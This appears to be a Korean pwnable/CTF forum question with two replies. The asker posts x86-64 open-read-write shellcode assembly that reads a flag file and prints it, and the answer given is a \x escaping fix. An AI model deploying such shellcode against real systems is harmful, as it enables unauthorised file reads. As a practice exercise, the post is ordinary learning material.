어셈블 코드를 짜고 기계어로 변환해도 아무일도 없네요

1 section .data
2 filename db "/home/shell_basic/flag_name_is_loooooong", 0
3
4 section .text
5 global _start
6
7 _start:
8 mov rdi, filename ; rdi = "/home/shell_basic/flag_name_is_loooooong"
9 xor rsi, rsi ; rsi = 0; RD_ONLY
10 xor rdx, rdx ; rdx = 0;
11 mov rax, 2 ; rax = 2; syscall_open
12 syscall ; open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
13
14 mov rdi, rax ; rdi = fd
15 mov rsi, rsp
16 sub rsi, 0x1000 ; rsi = rsp - 0x1000; buf
17 mov rdx, 0x1000 ; rdx = 0x1000; len
18 mov rax, 0x0 ; rax = 0; syscall_read
19 syscall ; read(fd, buf, 0x1000)
20
21 mov rdi, 1 ; rdi = 1; fd = stdout
22 mov rax, 0x01 ; syscall_write
23 syscall ; write(1, buf, 0x1000)

이런식으로 해서 objdump -D orw로 해서 기계어로 변환시키고 쉘프로그래밍해서 /x로 변환시켜서 넣었는데 아무일도 없습니다 ㅜㅜ.. 뭐가 잘못된건가요?

#pwnable
작성자 정보
답변 2
삼부허리케인
대표 업적 없음

경로 바꿔서 해보고 디버깅 했는데 잘됩니다.. 어셈블리로 실행파일로 해봐서 잘되는데 쉘코드로 넘길때 아무일도 없는데 뭐가 잘못된건지 ㅜ

2022.01.25. 17:06
5unkn0wn
강의 수강: 50

/x 가 아니라 \x가 맞습니다

2022.01.26. 18:46
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기